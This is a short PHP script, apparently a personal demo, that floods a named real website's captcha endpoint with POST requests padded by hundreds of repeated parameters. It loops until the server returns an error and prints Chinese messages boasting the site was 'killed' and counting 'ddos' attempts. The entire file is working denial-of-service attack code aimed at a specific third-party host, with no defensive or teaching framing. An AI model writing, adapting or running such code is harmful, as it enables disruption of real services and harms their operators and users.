<?php
namespace script\demo2;

class GankUrl
{
	public function run()
	{
		$i = 0;
		$gank = 50;
		$gankUrl = 'http://apping.admin5.com/?app=system&controller=seccode&action=image';
		$curl = new \lib\MyCurl($gankUrl,1,1);
		$curl->setPost(str_repeat("&php=123", 500));
		while ( $i < $gank ) {
			$curl->createCurl();
			if ( in_array($curl->getHttpStatus(), [502,404]) )
			{
				echo "$gankUrl 已经被干死了!!!\n";
				break;
			}
			$i++;
			echo 'ddos '.$i.'次 '.$gankUrl.' 成功!' . "\n";
		}
	}
}